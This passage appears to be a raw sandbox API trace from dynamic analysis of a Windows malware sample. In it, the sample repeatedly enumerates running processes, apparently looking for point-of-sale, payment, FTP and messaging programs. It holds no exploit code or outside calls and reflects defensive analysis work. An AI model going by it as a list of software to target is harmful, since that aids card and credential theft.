Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0232.529] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0232.531] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0232.533] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0232.535] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0232.537] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0232.547] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0232.550] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1100, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0232.552] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1108, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0232.553] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1114, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0232.555] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x111c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0232.557] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x112c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0232.559] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1134, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0232.561] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0232.563] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1154, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0232.565] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1164, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0232.567] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x116c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0232.569] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x117c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0232.571] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="large.exe")) returned 1 [0232.573] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1190, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="analysis_democrat.exe")) returned 1 [0232.574] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x374, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0232.576] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1260, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0232.581] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1270, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0232.583] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0232.585] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xc20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x35c, pcPriClassBase=6, dwFlags=0x0, szExeFile="msfeedssync.exe")) returned 1 [0232.587] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x13a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x394, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0232.588] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x934, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x35c, pcPriClassBase=6, dwFlags=0x0, szExeFile="bcatcih")) returned 1 [0232.590] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="8B87.exe")) returned 1 [0232.641] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="8B87.exe")) returned 0 [0232.642] CloseHandle (hObject=0x2064) returned 1 [0232.643] Sleep (dwMilliseconds=0x64) [0232.646] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2064 [0232.663] Process32First (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0232.664] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x79, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0232.666] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0232.668] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x174, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0232.670] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0232.671] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1b4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0232.673] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1b4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0232.675] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x214, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1bc, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0232.676] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x21c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1bc, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0232.678] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x270, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2e, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0232.679] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0232.681] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x330, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1fc, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0232.683] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x35c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x49, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0232.685] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x364, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0232.686] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x394, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0232.688] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0232.690] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0232.692] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x14c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0232.693] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x450, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0232.695] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0232.697] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x5bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0232.698] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x618, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x38, th32ParentProcessID=0x604, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0232.700] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x658, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0232.702] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x664, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0232.704] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0232.705] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x80c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="SkypeHost.exe")) returned 1 [0232.707] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x8f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0232.709] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x9a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0232.711] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0232.713] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xb60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0232.715] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xcc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0232.717] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0232.719] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIADAP.exe")) returned 1 [0232.721] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x224, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0232.722] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0232.726] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x79c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="teammaintain.exe")) returned 1 [0232.727] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="cover_more.exe")) returned 1 [0232.729] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x798, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="along.exe")) returned 1 [0232.731] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x558, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="another artist.exe")) returned 1 [0232.732] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x5d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="second-position-home.exe")) returned 1 [0232.734] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xbb8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="high.exe")) returned 1 [0232.735] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x470, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="he mention news.exe")) returned 1 [0232.737] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="cup.exe")) returned 1 [0232.739] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="strategy player owner.exe")) returned 1 [0232.741] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xc18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="now third.exe")) returned 1 [0232.742] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x940, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="safe.exe")) returned 1 [0232.744] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xbac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="lossnecessary.exe")) returned 1 [0232.746] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa74, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="agent.exe")) returned 1 [0232.748] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xbd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="talk.exe")) returned 1 [0232.749] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="upguess.exe")) returned 1 [0233.026] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0233.028] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0233.030] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xed4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0233.033] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x808, th32DefaultHeapID=0x0, 